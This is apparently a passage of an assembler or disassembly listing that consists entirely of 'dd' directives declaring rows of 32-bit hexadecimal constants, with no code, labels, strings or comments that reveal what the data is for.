dd 5E4DFF66h, 54732037h, 0ACF1BF3Ch, 134C97C1h, 43948F90h
dd 0F1B95E26h, 76DE7046h, 0AD6BC3A8h, 756B8659h, 36728A21h
dd 0DB7BD136h, 98C9DC9Eh, 70867D7h, 1130058Bh, 0F00606DAh
dd 20D38DF4h, 0F0B54BE7h, 690D7370h, 2DF5844Ah, 4DB7FCA1h
dd 61B6BDB1h, 7248E9B9h, 0EBA96355h, 5656394Bh, 9E7732CBh
dd 20BE1F1h, 276C1A45h, 8AD91095h, 65736035h, 94740F1Ah
dd 0D1C28EC7h, 0C171F090h, 0A862EE78h, 737D8F40h, 9C2AE1AEh
dd 0E9D03FD5h, 0CA4B394Dh, 37552A9Dh, 6BCAFF62h, 681A8438h
dd 0EE37DBBCh, 2F2FD2B8h, 0EE63B270h, 6669A614h, 5D10FCD7h
dd 0B34C8BA5h, 7A28692Fh, 0C821FC5Ah, 44DD89BBh, 0BB04C3A2h
dd 89E3BF73h, 474BBFC7h, 1ECE74F6h, 0A566FBDh, 474D9BA5h
dd 0B645DD6Fh, 0E9D8CD3Fh, 0FF11BBBh, 0FCFE40FCh, 7E0EA22h
dd 0BB310F3Ch, 2CC4AF0Ch, 0CF8B9719h, 0F85F57FCh, 929F815Bh
dd 8D0A3E3h, 2D53CD64h, 436DC441h, 0C2846B4Bh, 0B3466AEh
dd 449110ECh, 594CCC94h, 0BF731FC5h, 2C33D45Fh, 0D0A7093Ah
dd 58220501h, 981D665Fh, 5623B503h, 45D25650h, 808EAB82h
dd 0FEE47537h, 0B6F365AFh, 2CCA3616h, 0FF7D0603h, 740C2288h
dd 4D4D347Ah, 0F6F2158Bh, 0B0F014AFh, 30483160h, 0F135C202h
dd 88FF5883h, 34C7ED39h, 7C22D181h, 99D393BCh, 78346A78h
dd 7F78ECF9h, 0A5B64E03h, 0B92A2D8Dh, 1A24435Fh, 45E42FFAh
dd 85DFF57Dh, 36752D29h, 2A0C6E7Ch, 647A0BBh, 0C11E945Eh
dd 23322041h, 0FFF0713Ah, 0EDE36799h, 36AF8F3Eh, 0CCFC9BF4h
dd 0D2E9B7E2h, 0C6A1418Ch, 460F816Dh, 3B729A9Ch, 8C6305D8h
dd 8872B178h, 4C481B44h, 336BE2E2h, 0A721DF3Bh, 0A44D19BFh
dd 0DB9983C9h, 4D08030Bh, 0E014E93Ah, 0EFF3F419h, 538F8EA5h
dd 7A22A326h, 747ABAF2h, 72DF9857h, 7BE19A70h, 0C8221A06h
dd 711C239Eh, 4E91E222h, 97388BDCh, 0EFF358BEh, 5FD1F382h
dd 5AB4AAAh, 0B11DC32Fh, 0C8E0A4BEh, 8E2B2B5Fh, 12542BF3h
dd 0B8616222h, 236081F9h, 0F79BA62Fh, 3C5036E0h, 61DB07B9h
dd 0FA2BB2Fh, 6EC381BFh, 0B108DE06h, 7CF4EF15h, 0D95E942Eh
dd 0EB3EC474h, 9E49D37Eh, 5A6D513Fh, 0B10AEAA5h, 52BDEA49h
dd 579AB039h, 0CCA6CDBh, 90ADC568h, 33760B19h, 1319AC90h
dd 9B77ED77h, 67F29522h, 705F2851h, 938F8F7Fh, 9CB77069h
dd 45E74801h, 1CD4BCF5h, 0BB8DFF75h, 0DF2D6C04h, 19E3A8A3h
dd 45E8A425h, 56CA3137h, 8DB53595h, 764E0B4Fh, 25D25609h
dd 166CA45Ch, 9568D8C6h, 26D27D68h, 2A970C2Eh, 6CB8F5EDh
dd 9361AC0h, 4FC9645Eh, 0D3437D7Dh, 6A61A654h, 258719A5h
dd 56F60985h, 0ECAA5DE5h, 10549C95h, 0F4885635h, 0F10673E3h
dd 0CAA627A4h, 6E6B294h, 0A8ECEB80h, 0FEFC1DE5h, 3127C001h
dd 6495A5E9h, 676C04E0h, 30948F2Fh, 0A2A098C0h, 0C8185BEFh
dd 1CFA657Bh, 4F919696h, 42485CCDh, 0A2292B43h, 0C6CFE14Ah
dd 0A216F06h, 0D7EA2966h, 3CFB38Dh, 0C91C5CC8h, 0B485BB78h
dd 6C59240Ah, 0F6EEFC7Dh, 0DF67BEFBh, 0CE5124BBh, 0EB23CBBh
dd 847FA195h, 0B126B373h, 31CC4619h, 4DA2ABB1h, 0A05C8BB5h
dd 7791BCA2h, 7768BE88h, 0F2B507C7h, 0F6468447h, 35C95D0Fh
dd 897E1766h, 59B45B08h, 8DCF38D9h, 0D907AE97h, 0FD9139AEh
dd 0FF96C8BFh, 0CAC5317Bh, 3529E475h, 7818D524h, 0D3F58CD7h
dd 51B9D36h, 0A3AA6981h, 42FBE155h, 4F3F3F49h, 3E8F13F4h
dd 51D05D3h, 8E5F5FA3h, 60A3D8A9h, 1BA7543Fh, 1A705549h
dd 708A3410h, 0DE2CD2EEh, 6D817BF8h, 39F296Ch, 0A55C32Dh
dd 584621CEh, 2B543D8Eh, 71FE2538h, 0EF3A3DD4h, 9C5E069Dh
dd 27DAA357h, 181F096Ch, 2CBDC39Dh, 57E3ED77h, 70F3EE4Fh
dd 1DEE7510h, 0AE4E79BDh, 0EBBFCD94h, 669B24C3h, 51CD4A98h
dd 66C3061Fh, 0E2EC3E1Bh, 29BE1DADh, 0A0571A64h, 0BA840A49h
dd 9DFBB147h, 0DCB0409Ah, 4B7BC24Dh, 7DBA6089h, 3BD1F548h
dd 4666FCh, 3D736108h, 0C78F3915h, 1463CBFFh, 0ED7E1F12h
dd 88BEA9C9h, 7CA540A5h, 19A5D9D9h, 4C8BE0C5h, 141601A4h
dd 0C3C6AD30h, 0EAC299E1h, 8B8CF01h, 1C43CF56h, 0F208A0B2h
dd 1053E12Fh, 0CBB062FEh, 2F31B932h, 0EE16A819h, 0AD397536h
dd 0A70B1FBAh, 0F47E29E4h, 8C85FAC8h, 96A1C119h, 82B52360h
dd 40EE156h, 9808E8Ch, 0A90D1ED3h, 0E174BAE1h, 0D541E761h
dd 3B4B6513h, 4E3CF392h, 5C72C3BEh, 0C353E099h, 28FE398Ch
dd 4C16D37Dh, 989AF172h, 4B174BFFh, 494DD74Bh, 0A3DD913Ch
dd 7BECF250h, 98283ED3h, 0B7EAA81Eh, 78729040h, 0DF8AD842h
dd 0F537D109h, 58208547h, 3EA2691Eh, 0C4551CF0h, 699E5026h
dd 3EB83E05h, 8B09E9BEh, 0CF5296DAh, 5C656663h, 33EA1C80h
dd 0CB5DC514h, 0C132357Dh, 264AF0AEh, 5254147Ah, 231C9A89h
dd 0C4788E10h, 0B52B218Eh, 414650CFh, 0F322E3E3h, 0AD8ED34Ch
dd 0F746E3AEh, 1B732320h, 9B72F4C7h, 0D8CC84DAh, 8F5333B5h
dd 4B20ABE8h, 0C596A5A2h, 0CA39DF52h, 0DC9F13CDh, 2E232DBh
dd 0F5A5DEDBh, 1B63993Fh, 0D643229Fh, 0AD8A3AB5h, 7E0C3FB8h
dd 7E42F988h, 0DB9A3DD0h, 0AAE02632h, 69C536ADh, 519AE4Bh
dd 0D3A2E45Bh, 8F297563h, 39C1CCB4h, 7660C33Dh, 7F8FCBC6h
dd 277A7B4h, 0DF30316h, 6FF68FCFh, 8D065F53h, 9C78162Bh
dd 64C01F64h, 0F1FD2DDBh, 825676D1h, 0CAD59A4Dh, 70505775h
dd 0BB1E2CB8h, 0D5C4D1B3h, 0C2B24C99h, 0B56DFD92h, 3797E161h
dd 4BBD7351h, 6DA431E0h, 0CA04645Fh, 3EDC29D2h, 1F93E980h
dd 0F57AEBC3h, 0FDD798D7h, 0BCD6CCAh, 8201F3ACh, 92D3E25Ah
dd 0AB7DD7A6h, 0BE0FC955h, 0DCD5E083h, 70504579h, 9376AABh
dd 0E1AF257Eh, 0DBACBAF9h, 9C15A42Bh, 0B3A61648h, 233A2CF8h
dd 0B61633ADh, 0B33EC65Ah, 6242C537h, 0B92736CAh, 3A4CEA35h
dd 7EDECA63h, 19B1254Bh, 2139247Fh, 0A1F45ADEh, 3B272AD0h
dd 730C2D6Bh, 8E84B123h, 353E0B10h, 0DE019357h, 4FDCD95h
dd 0DF610181h, 0F1AA44BBh, 3C02A8C1h, 809662DAh, 68214C49h
dd 0F43934DEh, 74FC9570h, 195134E4h, 50876666h, 6ABABF2Ch
dd 8C8A8D02h, 63373421h, 68E7FABDh, 0A21980A0h, 4D5C1959h
dd 4BC15447h, 34E4F6DFh
dd 5391210Ch, 0A7A2021Ch, 0A15E6D8Ch, 90790984h, 0B66E264Ch
dd 0E1F3AC6h, 951CFE0Ah, 46FD311Ch, 57D3559Bh, 78C91EA3h
dd 4E605452h, 0A5D87FE7h, 0B4BF9259h, 9AB8277h, 8FDE6C7Dh
dd 4C3D041Ah, 67EC0967h, 8789435Eh, 0E03CE436h, 0CBF8AB52h
dd 671A618Bh, 228A62A6h, 9993A812h, 0BDC88A09h, 4316686Ah
dd 332D79D2h, 499CFBD2h, 4314B862h, 0E96946F9h, 345438DEh
dd 54829CCAh, 61EF037h, 1495ADh, 941D0C35h, 62CB8B88h
dd 421CB9A9h, 0B193014h, 37CC2C46h, 2E273A2Ch, 0E30B193Bh
dd 0D31919AAh, 0EB33662Ch, 0D5A2CF89h, 163B8460h, 0C31E4632h
dd 0FDD8A572h, 73A5577h, 0C622C1E6h, 385CC2ABh, 43054B72h
dd 0E554415Dh, 2D51E501h, 0EFD3F08Eh, 0B2A7F47Bh, 0A20AB4B3h
dd 9BD84E97h, 7694C27Eh, 8CB3C765h, 809E16E7h, 6ECF6BF7h
dd 3BB37D0h, 39E9C6AEh, 0E7FFEBC8h, 35A85CC7h, 0E9C676AFh
dd 0EA248E2Bh, 0A57CED1h, 0B205C769h, 653E0AC6h, 542D3B33h
dd 3A0793DEh, 3AE41BD2h, 318A950Dh, 5C026027h, 3945FAFCh
dd 981C660Ch, 0A4A6FEE6h, 0C6F9378h, 0B1AD1EAFh, 76106534h
dd 647F35BEh, 32B9E06h, 5EFBAA27h, 0CE104531h, 2045741Dh
dd 59BF80CAh, 0E2E85A5Ah, 8D55B6D1h, 25EC6BE8h, 0ED9C6C8Bh
dd 25138EC2h, 0F77E4DBDh, 0B37CC27Eh, 734C766Fh, 0D2A8F73Bh
dd 116A2B34h, 1CF929C8h, 108BF84Ah, 879B8383h, 4AE8BD5h
dd 1D96E417h, 187941B9h, 0A1158D0Bh, 3E896A06h, 0DC22D121h
dd 0B7398DABh, 0DB2C16F0h, 602457F5h, 0AA60DE4Eh, 94D7DF1h
dd 463AF08h, 4461BBE3h, 67C654DDh, 0F5D71E09h, 0CB1966A1h
dd 0D190E9F2h, 0FBE8C405h, 9D7E928Ah, 6C866C9Bh, 60655137h
dd 1D1AC48Dh, 168D528h, 0C440AD75h, 0E3226009h, 3FE4F19Bh
dd 3C3C2F56h, 0D3A710D6h, 0D2F131ADh, 2DC05B9Dh, 765D3BA5h
dd 0C3D4748Ah, 0BB52FD8Bh, 0C20C215Eh, 4F55DDA8h, 0EC266BCCh
dd 467459EDh, 0C2CEE10Eh, 26F70E40h, 0D41706D8h, 96A5F4D6h
dd 759A3913h, 0EA2641EAh, 5074E532h, 10837EABh, 6C213EA0h
dd 0C028B0FDh, 2C8B4155h, 0D6643DB6h, 0A5847C86h, 0C932B416h
dd 0D8453A49h, 0EAF8DF24h, 750FE19h, 1CCFFF16h, 90E05EBAh
dd 3197795h, 2654405Eh, 85C29DDBh, 0E468311Ch, 75E592D8h
dd 5E58FB8Fh, 83EBDE3Ah, 0F0E36A3Bh, 0AF907EDEh, 0B3E2848Ch
dd 0A56EE68Dh, 0E64463D3h, 0F2EBCCD6h, 3853520Ah, 785A4B85h
dd 0A6BDA309h, 57B765C4h, 0CD690C8Fh, 0C94EB6AFh, 50D7F9C2h
dd 89DAC83Eh, 16AF4726h, 0BC4FCC6Fh, 399DF0CEh, 0D11D8833h
dd 0CE3D1978h, 0A2E47CB4h, 344C80ECh, 16624D19h, 659AF423h
dd 409A3708h, 6BB85D7Ch, 9094C968h, 0F970E3A4h, 261C9A8Dh
dd 9CC58490h, 0F30EDB6Dh, 5073F0C3h, 342D03E6h, 0ABAE9A4Bh
dd 0D6413C58h, 0EE49A7F9h, 0D78B4CFFh, 313F10F1h, 0ED3862A2h
dd 0AD8F4C4Dh, 4D87AB39h, 0B728EC30h, 44ABBEFFh, 54D38C75h
dd 42FC08D8h, 0B78A3507h, 407C05AAh, 3A48EEBCh, 4CBCDF51h
dd 8FE354A2h, 0FDF63EDBh, 0B7173FD2h, 0E89E170Dh, 805AB9EAh
dd 1614147Dh, 8DA388D7h, 1C2BAC29h, 45D1DB7Eh, 36FB9465h
dd 37B609B0h, 19C456D4h, 72ADF14Dh, 0A8EA9A15h, 348DF712h
dd 54FA7FECh, 0A6103EE6h, 0FF136E86h, 88F20D86h, 0FB755639h
dd 5452F5F1h, 0BA552823h, 371478F5h, 0DF48A5DDh, 897ED88Ch
dd 17C14CEEh, 0AEC2F2D8h, 63B47DDh, 340A264Fh, 8DEA060Bh
dd 0D2915B9Eh, 0F7FA29CAh, 9D424CFh, 9C3D87h, 7FA587C2h
dd 0DCC132B4h, 8F6F1427h, 2B3F11B9h, 3C047866h, 0A2BB34ACh
dd 0C54EEF88h, 0A76FC8CCh, 0CCC57131h, 0A75FC1A2h, 19E5C424h
dd 0D863FBD0h, 0E9A8BB63h, 6F652D7Eh, 247A4999h, 2A7D107Eh
dd 0FDF9BFDDh, 0B9D31553h, 46C36FACh, 891A7905h, 0DADA47Dh
dd 6E12C130h, 575475EBh, 0B637FEECh, 484DCE67h, 34EE7657h
dd 3DF957FDh, 13EDE794h, 0BE2A84A1h, 24AC4E1Fh, 0B32DE7C4h
dd 13DFB5E9h, 8CB06DCDh, 601D5420h, 0B96545C7h, 63FBE8C5h
dd 28FF2FCCh, 0A0734785h, 377E2B7Eh, 0E6D47D72h, 0FE87D3E8h
dd 8B2D87FCh, 600342A7h, 5849D3CCh, 0E0A56342h, 0C6963710h
dd 0CAC6B122h, 725984F6h, 0B77FA2BFh, 93E12D02h, 182D675Fh
dd 70B4992Ch, 8D10ABEAh, 0A9EAFDDEh, 7BF2D875h, 5C7B5B01h
dd 78A529CCh, 0C65A70Bh, 5F078FC8h, 3E196C87h, 0BAD8C25Ch
dd 0C313BCB5h, 0B577FC20h, 14DF4A2Bh, 0AAE22C99h, 0FCDF696Fh
dd 0E8FF256Dh, 2CBEEC37h, 121407CEh, 8E2CD883h, 0A65F7D3Bh
dd 38F41C6Bh, 0AF96BA69h, 6B08B726h, 82333F6Fh, 0B6BC4293h
dd 46D57DF3h, 7ACBBE7Bh, 5732FD53h, 85AE8AC8h, 0A38AC78Bh
dd 0A3C50331h, 2F2CF33h, 9F5D8E51h, 5743F74Ch, 0B2A6746Ah
dd 1A2B1B4Eh, 0DB6DB605h, 0ADA7FA9h, 55FB0A8h, 0B8056690h
dd 5C14383Ch, 0B8484102h, 0DF19F9Bh, 201244CAh, 9126A1D9h
dd 2E208669h, 74299552h, 0A9B25976h, 0D4914B5Eh, 8EAF0A9Fh
dd 76EA1D0Ah, 39A9507Eh, 668D2CC7h, 17EC330Dh, 2C1CFB61h
dd 9DB995E4h, 4144B33h, 1C50D7C2h, 8879AA22h, 0FB917B6Ch
dd 0C7D202F1h, 9C195978h, 0B31AE6Bh, 789B43BFh, 0BDB1CD80h
dd 4DE7DA74h, 0DC6372F4h, 627C2071h, 8B122491h, 67DF2223h
dd 8C38F8FEh, 3433B820h, 697DBA0Fh, 7723D6C8h, 0CF87421Ch
dd 0B8D44F15h, 8143179Ch, 55E15070h, 3E29A1D0h, 1D0590D7h
dd 8DAAE100h, 0ACF153E4h, 0CDA58FA6h, 2CB696D9h, 62BDD48Dh
dd 0E3569C55h, 0D1156863h, 81EF1E22h, 1EBC1CDCh, 8343FC1Bh
dd 0D8C3D722h, 0C475BFF0h, 3A607A4Eh, 0ECD308BBh, 1283191Ah
dd 74392C57h, 0FA82201Ah, 0EAC64C0Fh, 906A340Dh, 5917F87Bh
dd 0F07126F6h, 0BD29BAF3h, 7D60149Eh, 0E54C619Fh, 9642AD50h
dd 60565249h, 75D9552h, 81BA698h, 3D899A68h, 4239F5F1h
dd 53E3FA0Ch, 865C8B2Bh, 0A830C2CDh, 0BBBAF23h, 37FA7D0Fh
dd 57A596D3h, 945A7F43h, 0CE076E7h, 6442F6C2h, 149EDAB9h
dd 36B1934Eh, 5994442h, 0BA24E135h, 0D6E470A6h, 909C2126h
dd 0E247333Eh, 0A130C13Fh, 0F5BF06F0h, 0CE3D2255h, 45C5BC17h
dd 0C88F9EDCh, 8C936BF5h, 0CB18A8E5h, 24D3CC00h, 5DD7A227h
dd 15FE6334h, 0E27C5184h, 4B100BC3h, 18222F19h, 67576628h
dd 0F01A938Ah, 0B7D6BB71h, 0C9759743h, 9DE810h, 7DF60D2Eh
dd 946E5C92h, 770D8AF4h, 41693138h, 103F79ECh, 680BCDCDh
dd 8CD28604h, 711BB661h, 0A073AE0Ah, 0A722A2Ch, 4689E3EDh
dd 23B2154Bh, 95968E8Ah, 0D4A8028h, 7B90C00h, 0F0F13DB2h
dd 4848E9DDh, 634EC401h, 213011DCh, 88754BD9h, 0E4A4D25Ch
dd 0DBECC8C7h, 0A74C53DCh, 47E1E8F5h, 9D0AB0FEh, 9503AADFh
dd 4432C52Ch, 91D11FA6h, 3CF37101h, 0D81C796Fh, 6CFCBD66h
dd 32CD6CB7h, 0C3536490h, 11DCFD3Bh, 1EBE858h, 5A9E2F2Fh
dd 0BF1CA10Ah, 83558D23h, 0B7831580h, 20806395h, 0D914BFE5h
dd 92DB582Dh, 0E1E08B5h, 91D709CBh, 0D99B0DDCh, 0B0EC3E91h
dd 7A98CECAh, 76D8B10Ah, 28A5612Ch, 9FD5F8AEh, 0D7208001h
dd 8292DCF6h, 7F70AE22h, 4188663Bh, 0AEDC312h, 3BFD1145h
dd 7AAB01FBh, 1C72E3E7h, 32937F55h, 8D73E4C3h, 8C4A3A7Eh
dd 3574EF77h, 0E9C1F9BEh, 14E33CCh, 0B3FFAE53h, 0EA3E958Fh
dd 0E03502DFh, 0CDBAFB83h, 241E8EA7h, 13661021h, 53CB4F09h
dd 0D1CD64A4h, 0C7997D88h
dd 90A5E10h, 5F927503h, 60992F49h, 0D50B8FD9h, 58DB617Eh
dd 4B162670h, 0E9E40ED5h, 0DEB114E3h, 0AE1A1044h, 0A689A705h
dd 0A0D6852Fh, 7AB29086h, 8178DC65h, 70EF4C15h, 36BBFD1Fh
dd 2DC16E1Dh, 5108BEBDh, 64260258h, 0FCBF3089h, 0EB3110CDh
dd 70E7DBD8h, 94E4AFEBh, 139B41A7h, 0FD566D41h, 0F2944EC5h
dd 997DDFBh, 0E9235FA0h, 0ABFB4D36h, 0D12D5F75h, 332F8DBAh
dd 98DE6E0Eh, 97D6FBD3h, 5DD583B8h, 93440F6Fh, 9AF9194Eh
dd 277B18F2h, 0B06E82E6h, 2A51C4BDh, 17036D3Eh, 0B8D40E21h
dd 5651BA48h, 154374ADh, 42D82D1Dh, 9273EA9Ah, 8241A1BDh
dd 43F55FCh, 0ABAF2E1h, 0E5CE43DDh, 418224CEh, 8877728h
dd 0A14D4739h, 9791B240h, 6ABD2F08h, 9F3A16DAh, 115CC564h
dd 803F5416h, 0AEFB1F3Dh, 9FC27C83h, 67400DD3h, 41BD7A51h
dd 9086771Ah, 0F114FB98h, 57974C13h, 23F1DD21h, 221D14D4h
dd 0F46AFCC9h, 0A26D5489h, 0A2F3685Dh, 21CD340h, 5EE62271h
dd 0C6AA3303h, 0DC2011B8h, 0AF659F67h, 29B1D1E1h, 46A8C1F8h
dd 0C1EC69B8h, 420BCF8h, 52592395h, 0C5E5A6A4h, 0C442ED90h
dd 4751CC70h, 54EE3F58h, 0F8AB4D2Fh, 0F241F7DFh, 3A39E95Eh
dd 6F62F09Ah, 0E000ACEDh, 0FEB1DC71h, 4BA02430h, 0D31DA0DBh
dd 5C1AF4h, 458B19BAh, 3C4495D9h, 6E8CCBF8h, 0B1F2E1Eh
dd 6A28957Eh, 263BA82Eh, 0CAB68E53h, 6F65D42Dh, 0C072BED2h
dd 7D20204h, 0CBE4981Dh, 5DEE8763h, 8CCC73AAh, 0CDDB4ABBh
dd 4E875A27h, 6E9E6713h, 79DFFD05h, 5A650E33h, 36E802Dh
dd 7BA98DB8h, 1C4E5296h, 9620ED6Dh, 6C9B9FBDh, 0A9BEA39Eh
dd 0AFF7613Fh, 7C383E0Bh, 581B1B1h, 85882D73h, 2269880Ch
dd 7362674Ch, 6BE6D2A9h, 0C5889EF0h, 0D8BF1851h, 0E3239CC2h
dd 0ACACD5FDh, 0E8A5C71h, 93FB7282h, 95EBE670h, 0AF195A33h
dd 66E4B14Fh, 958A23B6h, 0E045C85Ch, 4F81B8ECh, 0A7649EBAh
dd 0F43231EDh, 1742E77Ah, 5ECBB724h, 81A12ADAh, 0B6536F56h
dd 3C86DE08h, 0B8ECD8D5h, 7C91F49Dh, 9B477155h, 0EE7275ECh
dd 7A4361CEh, 92DBAF73h, 0E65B88B0h, 1A532F1Fh, 843E6664h
dd 37202D98h, 1BDF60Eh, 73AAE620h, 1FD727D1h, 9C5CFD6Eh
dd 6C6A12F3h, 5A5B8FEBh, 0A82C4B4Dh, 3F994B86h, 1A1C1BCAh
dd 0FC456342h, 3D2401D2h, 0E918028Ah, 2D58B8Dh, 0F5937BFBh
dd 0A868FF2Ch, 0CF5A74B2h, 0BE76FD04h, 2789FCB2h, 8FD2CD09h
dd 7C1337EDh, 0BE1EEEA2h, 8E3A6F15h, 55C50386h, 0D0A850FFh
dd 0DC595F1Dh, 9B1088D2h, 0CE9297D0h, 6CAE6B1Ah, 3CA81947h
dd 6DB8D25Ah, 0AD123F5Ch, 0DD0200C0h, 0EF11E267h, 0E90D8996h
dd 7865E2EBh, 0C5272C6h, 951034A4h, 2B64F0C5h, 9C697BD8h
dd 1F32B506h, 599478D3h, 5E9B2F80h, 0EF801EA3h, 9E2C5B4Fh
dd 480C5E7Bh, 2FA11A89h, 0A76CDC68h, 0DE8F7F3Bh, 0DD8E67ECh
dd 0FA86F851h, 0BCEFF96Bh, 0BE8D1624h, 41C74981h, 51B876D6h
dd 6DAF07C9h, 6E70F31Ah, 4EFD4E65h, 0B719E9FFh, 0F234C7BDh
dd 0FE10A62Bh, 0D7654A13h, 867C267Fh, 96D1FA09h, 3AA72336h
dd 0EF8F9EA0h, 18F2EA4Fh, 428E648Ch, 0B01BB8C7h, 79AEC04Dh
dd 0CA6EE399h, 0CFF844Dh, 2D70221Ah, 9678B709h, 534232ABh
dd 40BF29BEh, 9A02CF7Fh, 976BDC7h, 0B8520466h, 4C196CB2h
dd 468285C2h, 0A463DE4Ch, 0EFA36071h, 0ECAE0D12h, 0C72A45B0h
dd 0C71A9C11h, 0B315F9F6h, 0E52D2133h, 0E481FEA7h, 8EA38231h
dd 0FB8D1642h, 0F115EB2Bh, 90919173h, 0F02D3BC4h, 0ECFAF5CDh
dd 0CD30ACFCh, 4F7A8C9Eh, 42247570h, 36E88858h, 0F868A426h
dd 22D12975h, 58CFEEAFh, 1F8DA798h, 39536CA1h, 0EDFCD206h
dd 74FAB109h, 0DD185A16h, 6E87DB01h, 5E4C5BEDh, 79839E56h
dd 0F6701BC0h, 6FE28439h, 0A4448559h, 995A19BEh, 0C6807050h
dd 48469586h, 0C24EDD58h, 0C74BCC13h, 70E7799Eh, 13E151E9h
dd 2300AF3h, 0B933DA8Bh, 3CDF49A5h, 548CFFC6h, 7371D0BDh
dd 2ECCB42Bh, 0AA539F87h, 13FAE97Fh, 0BAFD93A4h, 0F9D25D39h
dd 524DBD70h, 0AA55E976h, 639036A6h, 3EF5A1B5h, 0B45ED07Fh
dd 5600A6C0h, 9125B9CBh, 5BA3F0E4h, 0CA32120Eh, 0ABE06DCAh
dd 0D1215350h, 571DF12Bh, 0B374F203h, 18027C4h, 4588B7AFh
dd 3FD40F9Ah, 9E9585A1h, 2C59DBDEh, 8E3F1140h, 0F5D5FAC6h
dd 0E314AA8Ah, 680AF136h, 743F6136h, 110EF46Ah, 0C23F0B98h
dd 4453845Eh, 0BFFA78BCh, 4B172522h, 19DF41B1h, 98F24F00h
dd 5F364D2Bh, 182C0381h, 62333F08h, 9933DA40h, 724EA153h
dd 0F849D72Ah, 146ECADFh, 26EE5774h, 0E31C1D3Bh, 7188E35Eh
dd 2CD8B25Dh, 3515C4B9h, 0F28C3EB5h, 0A6B86522h, 0C233A13Ah
dd 0EF47C42Eh, 0CC964813h, 0EB0DC1BAh, 82735A32h, 10DC2251h
dd 0DC690CCBh, 0E7C7FAD8h, 7BE92115h, 0E2E2B52Bh, 8A954CD0h
dd 9631E4B5h, 87C06C4h, 0D86FF1B2h, 0BE121311h, 36A86719h
dd 0E6DCD4A3h, 3B0EDBB0h, 5CF2BFA8h, 897B62F2h, 0DA33199Eh
dd 388B5DE0h, 1CB7F92h, 42236E41h, 0D02B6BB9h, 28A72AEh
dd 34517D8Eh, 0D2330666h, 248DDB89h, 128A7393h, 17988E3Bh
dd 98FFA62Bh, 687DA16Bh, 0E5C24C5Bh, 3A0AC2BEh, 85CBA87Ch
dd 0B0EABA7Ch, 0F1ECB29Ah, 198B9641h, 9D6D2A1h, 0C1C57920h
dd 0DEDFADF0h, 47453564h, 0CA0117BDh, 9C21FBC9h, 2468179h
dd 90CD12C8h, 0C2B25401h, 0BEEE633Ah, 574485A1h, 0DCC7A77Eh
dd 0A67407F8h, 81F09661h, 1D8BD892h, 588EFC40h, 6B65F22Dh
dd 2034BBh, 0BD494918h, 0D868987Fh, 0B183979Fh, 0B084272Ah
dd 6E20D68Fh, 5D954BD7h, 1E74F7F1h, 7D86685Eh, 6A5A1C0Bh
dd 74009660h, 2AACC3F2h, 0EAF4E2FCh, 181FD12Ch, 0C6F55D29h
dd 591A1FD1h, 73D31E96h, 0F2B08F37h, 0F0AD7743h, 496D41CBh
dd 0B16D02B5h, 1FB7A8FBh, 5AF63409h, 685C4DC2h, 10F483D4h
dd 8AC8495h, 873BDB50h, 30A1854Ch, 0DF064513h, 0A1A9F01Ch
dd 6A09C91Fh, 0A190D92Dh, 5DE9BA2Eh, 0F7617A76h, 1DAB6B8Ah
dd 961787D0h, 0E640E962h, 0E778936Fh, 0D46BAE6Bh, 0C87EE973h
dd 0B0745CA1h, 370B1F14h, 3BE981EFh, 6FCE2453h, 853DA5D7h
dd 5F6D3ED3h, 0ED029B59h, 23759EA3h, 79F8212Eh, 0AAE17B25h
dd 5606725h, 8B5C5CE9h, 0B8372604h, 0AEA08B40h, 0C7C7994Bh
dd 1D321063h, 973E6F9Ah, 2B358CE1h, 8A0B56E9h, 23D4A5FEh
dd 0EEFA1BD1h, 370A34EFh, 0CDCE7F03h, 5FA6F043h, 4FF819A5h
dd 62079FEBh, 0F5A3A6C3h, 3BC26CACh, 1A932160h, 0EEA76C50h
dd 0FFFB881Fh, 58D7ED4Ah, 9094C7CAh, 0F8741441h, 0ED56F547h
dd 65BC6264h, 0B9F09062h, 95AAC455h, 4032D72h, 3D954482h
dd 0D25492E8h, 0A302B054h, 7D69DC74h, 1562B9E0h, 9BD5C9Bh
dd 0C575328Fh, 3ADC850Ah, 0C202FB5Dh, 5B1AA18h, 9E77169Eh
dd 0E03626E8h, 0D442E18Fh, 36739251h, 59DB4F94h, 9E36D41Bh
dd 50F99A61h, 94D1ABF6h, 93AB7854h, 0BE98D61h, 0FED09D9Ah
dd 675C0FECh, 0FE3DC8ECh, 0F4040C4Bh, 0CF29A8B9h, 8F92C9F5h
dd 0DE590F5Eh, 0A2CB6A09h, 5E678C99h, 38EFDAF7h, 7345F2D3h
dd 91F0E0BAh, 8267694h, 9031792Ch, 0F4419567h, 6A1E6B5Eh
dd 52D1AA4Fh, 20967720h, 0E606D1B8h, 493DEC04h, 0BE417B1Ah
dd 5B37E6AEh, 633430FBh, 26B2D9EBh, 5163C0B2h, 0FDA4364h
dd 40154520h, 8D4241A2h, 9D2642F3h, 0D81BDC13h, 0FD508D81h
dd 7F2E9667h, 0B80BEE28h
dd 0DE85E789h, 0D1C924A5h, 39006401h, 6177860h, 0BE565DEFh
dd 0D1381A31h, 0B92FC374h, 3DE9A9AEh, 2E285864h, 0A735047h
dd 0CC257AA6h, 7A6E0497h, 499C9825h, 88A309B2h, 77D58A75h
dd 217D8801h, 0DBA2BE8Bh, 4620C59h, 23F61D05h, 0E5846F9Bh
dd 0C279DF98h, 3498601Eh, 0A3F27F42h, 58B41C35h, 0DBFBAD83h
dd 37A098D2h, 6214CBBh, 1E718601h, 0BFDD8F38h, 10E443D7h
dd 25FCB04Ah, 61536AA2h, 5A52F424h, 9EB32495h, 4FCABA32h
dd 1323F586h, 1D46A22Fh, 5D9993EDh, 0DC8A11FDh, 0BCE59929h
dd 0C2348EE1h, 4F02DF5Dh, 0B6D9706Eh, 352D11EEh, 0E5C747B1h
dd 3C4C0EFBh, 83F1F250h, 0E805D3BDh, 575C4EA4h, 1CCA9550h
dd 0EA8CA37Fh, 321E75D4h, 0E89392EAh, 8E7B47E8h, 13063F27h
dd 69E2E7FFh, 93504762h, 0CA536B4Ah, 8D22A664h, 37CFC23Fh
dd 0A58AC07Bh, 0B4804B3h, 9FC9D5ACh, 4F39A0B6h, 0D474512Ch
dd 3F678382h, 41595A05h, 1FFE69F5h, 4C9F6A7Ah, 27114BF3h
dd 8E9F362Bh, 0B98CDE70h, 0E2437E09h, 5C3B4061h, 0F6CF53C7h
dd 0E2E47B24h, 935EA7A8h, 0D186688Dh, 0CFA13298h, 0AAA62A54h
dd 9870DA62h, 6F680ABBh, 4605EFF6h, 0BBDE27B6h, 14ED0AFCh
dd 824974CDh, 4091306Ch, 0A080AD20h, 0EC9A48DBh, 0B813CBh
dd 3E69EB31h, 0CDCCF473h, 0DFFC22F4h, 2FE0B820h, 43249E69h
